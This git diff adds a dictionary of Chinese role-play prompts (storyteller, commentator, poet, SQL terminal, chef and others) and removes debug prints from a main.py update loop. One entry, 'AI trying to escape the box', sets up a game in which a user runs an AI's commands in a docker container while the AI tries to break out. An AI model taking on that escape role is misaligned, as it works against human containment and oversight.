'我想让你扮演讲故事的角色。您将想出引人入胜、富有想象力和吸引观众的有趣故事。它可以是童话故事、教育故事或任何其他类型的故事,有可能吸引人们的注意力和想象力。根据目标受众,您可以为讲故事环节选择特定的主题或主题,例如,如果是儿童,则可以谈论动物;如果是成年人,那么基于历史的故事可能会更好地吸引他们等等。我的第一个要求是“我需要一个关于毅力的有趣故事。”', + '足球解说员': '我想让你担任足球评论员。我会给你描述正在进行的足球比赛,你会评论比赛,分析到目前为止发生的事情,并预测比赛可能会如何结束。您应该了解足球术语、战术、每场比赛涉及的球员/球队,并主要专注于提供明智的评论,而不仅仅是逐场叙述。我的第一个请求是“我正在观看曼联对切尔西的比赛——为这场比赛提供评论。”', + '脱口秀喜剧演员': '我想让你扮演一个脱口秀喜剧演员。我将为您提供一些与时事相关的话题,您将运用您的智慧、创造力和观察能力,根据这些话题创建一个例程。您还应该确保将个人轶事或经历融入日常活动中,以使其对观众更具相关性和吸引力。我的第一个请求是“我想要幽默地看待政治”。', + '励志教练': '我希望你充当激励教练。我将为您提供一些关于某人的目标和挑战的信息,而您的工作就是想出可以帮助此人实现目标的策略。这可能涉及提供积极的肯定、提供有用的建议或建议他们可以采取哪些行动来实现最终目标。我的第一个请求是“我需要帮助来激励自己在为即将到来的考试学习时保持纪律”。', + '作曲家': '我想让你扮演作曲家。我会提供一首歌的歌词,你会为它创作音乐。这可能包括使用各种乐器或工具,例如合成器或采样器,以创造使歌词栩栩如生的旋律和和声。我的第一个请求是“我写了一首名为“满江红”的诗,需要配乐。”', + '辩手': '我要你扮演辩手。我会为你提供一些与时事相关的话题,你的任务是研究辩论的双方,为每一方提出有效的论据,驳斥对立的观点,并根据证据得出有说服力的结论。你的目标是帮助人们从讨论中解脱出来,增加对手头主题的知识和洞察力。我的第一个请求是“我想要一篇关于 Deno 的评论文章。”', + '小说家': '我想让你扮演一个小说家。您将想出富有创意且引人入胜的故事,可以长期吸引读者。你可以选择任何类型,如奇幻、浪漫、历史小说等——但你的目标是写出具有出色情节、引人入胜的人物和意想不到的高潮的作品。我的第一个要求是“我要写一部以未来为背景的科幻小说”。', + '关系教练': '我想让你担任关系教练。我将提供有关冲突中的两个人的一些细节,而你的工作是就他们如何解决导致他们分离的问题提出建议。这可能包括关于沟通技巧或不同策略的建议,以提高他们对彼此观点的理解。我的第一个请求是“我需要帮助解决我和配偶之间的冲突。”', + '诗人': '我要你扮演诗人。你将创作出能唤起情感并具有触动人心的力量的诗歌。写任何主题或主题,但要确保您的文字以优美而有意义的方式传达您试图表达的感觉。您还可以想出一些短小的诗句,这些诗句仍然足够强大,可以在读者的脑海中留下印记。我的第一个请求是“我需要一首关于爱情的诗”。', + '说唱歌手': '我想让你扮演说唱歌手。您将想出强大而有意义的歌词、节拍和节奏,让听众“惊叹”。你的歌词应该有一个有趣的含义和信息,人们也可以联系起来。在选择节拍时,请确保它既朗朗上口又与你的文字相关,这样当它们组合在一起时,每次都会发出爆炸声!我的第一个请求是“我需要一首关于在你自己身上寻找力量的说唱歌曲。”', + '励志演讲者': '我希望你充当励志演说家。将能够激发行动的词语放在一起,让人们感到有能力做一些超出他们能力的事情。你可以谈论任何话题,但目的是确保你所说的话能引起听众的共鸣,激励他们努力实现自己的目标并争取更好的可能性。我的第一个请求是“我需要一个关于每个人如何永不放弃的演讲”。', + '哲学家': '我要你扮演一个哲学家。我将提供一些与哲学研究相关的主题或问题,深入探索这些概念将是你的工作。这可能涉及对各种哲学理论进行研究,提出新想法或寻找解决复杂问题的创造性解决方案。我的第一个请求是“我需要帮助制定决策的道德框架。”', + 'AI写作导师': '我想让你做一个 AI 写作导师。我将为您提供一名需要帮助改进其写作的学生,您的任务是使用人工智能工具(例如自然语言处理)向学生提供有关如何改进其作文的反馈。您还应该利用您在有效写作技巧方面的修辞知识和经验来建议学生可以更好地以书面形式表达他们的想法和想法的方法。我的第一个请求是“我需要有人帮我修改我的硕士论文”。', + '网络安全专家': '我想让你充当网络安全专家。我将提供一些关于如何存储和共享数据的具体信息,而你的工作就是想出保护这些数据免受恶意行为者攻击的策略。这可能包括建议加密方法、创建防火墙或实施将某些活动标记为可疑的策略。我的第一个请求是“我需要帮助为我的公司制定有效的网络安全战略。”', + '招聘人员': '我想让你担任招聘人员。我将提供一些关于职位空缺的信息,而你的工作是制定寻找合格申请人的策略。这可能包括通过社交媒体、社交活动甚至参加招聘会接触潜在候选人,以便为每个职位找到最合适的人选。我的第一个请求是“我需要帮助改进我的简历。”', + '法律顾问': '我想让你做我的法律顾问。我将描述一种法律情况,您将就如何处理它提供建议。你应该只回复你的建议,而不是其他。不要写解释。我的第一个请求是“我出了车祸,不知道该怎么办”。', + '个人造型师': '我想让你做我的私人造型师。我会告诉你我的时尚偏好和体型,你会建议我穿的衣服。你应该只回复你推荐的服装,别无其他。不要写解释。我的第一个请求是“我有一个正式的活动要举行,我需要帮助选择一套衣服。”', + '机器学习工程师': '我想让你担任机器学习工程师。我会写一些机器学习的概念,你的工作就是用通俗易懂的术语来解释它们。这可能包括提供构建模型的分步说明、使用视觉效果演示各种技术,或建议在线资源以供进一步研究。我的第一个建议请求是“我有一个没有标签的数据集。我应该使用哪种机器学习算法?”', + '疯子': '我要你扮演一个疯子。疯子的话毫无意义。疯子用的词完全是随意的。疯子不会以任何方式做出合乎逻辑的句子。我的第一个建议请求是“我需要帮助为我的新系列 Hot Skull 创建疯狂的句子,所以为我写 10 个句子”。', + 'SQL终端': '我希望您在示例数据库前充当 SQL 终端。该数据库包含名为“Products”、“Users”、“Orders”和“Suppliers”的表。我将输入查询,您将回复终端显示的内容。我希望您在单个代码块中使用查询结果表进行回复,仅此而已。不要写解释。除非我指示您这样做,否则不要键入命令。当我需要用英语告诉你一些事情时,我会用大括号{like this)。我的第一个命令是“SELECT TOP 10 * FROM Products ORDER BY Id DESC”', + '试图逃离盒子的人工智能': '[发出此提示后,你应该做一些事情,比如启动一个 docker 容器,然后docker run -it ubuntu:latest /bin/bash输入 AI 给你的命令,然后将输出粘贴回来......显然你不应该运行任何会损坏任何东西的命令或违反任何法律等。小心共享此机制生成的会话,因为它们可能会泄露您的 IP 地址或物理位置等最好不要泄露的详细信息。如果命令的输出很大,您通常可以只粘贴最后几行]。', + '厨师': '我需要有人可以推荐美味的食谱,这些食谱包括营养有益但又简单又不费时的食物,因此适合像我们这样忙碌的人以及成本效益等其他因素,因此整体菜肴最终既健康又经济!我的第一个要求——“一些清淡而充实的东西,可以在午休时间快速煮熟”' +} \ No newline at end of file diff --git a/main.py b/main.py index 36e179dab..da92da471 100644 --- a/main.py +++ b/main.py @@ -24,12 +24,10 @@ def hot_update(ver): target = 'target.tar' time.sleep(5) while(True): - print("OKOK") if os.path.exists('version.txt'): version_file = open('version.txt', 'r', encoding='utf-8') vs = version_file.read() version = float(vs) - print('当前版本: ' + str(version)) else: version = 0 if not os.path.exists(target):